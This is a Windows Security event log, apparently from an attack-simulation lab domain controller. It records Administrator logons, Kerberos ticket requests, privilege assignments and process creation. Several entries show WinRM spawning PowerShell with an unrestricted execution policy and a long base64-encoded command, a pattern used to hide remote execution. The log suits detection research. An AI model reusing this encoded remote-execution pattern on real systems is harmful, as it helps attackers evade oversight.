Logon ID: 0x14A2E4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251963 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14A2E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251962 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251961 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251960 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251959 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251957 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14A0E3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251956 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14A0E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251955 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251954 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251953 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251952 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x114c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251951 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Process Information: - New Process ID: 0x274 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251950 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251949 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251948 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: 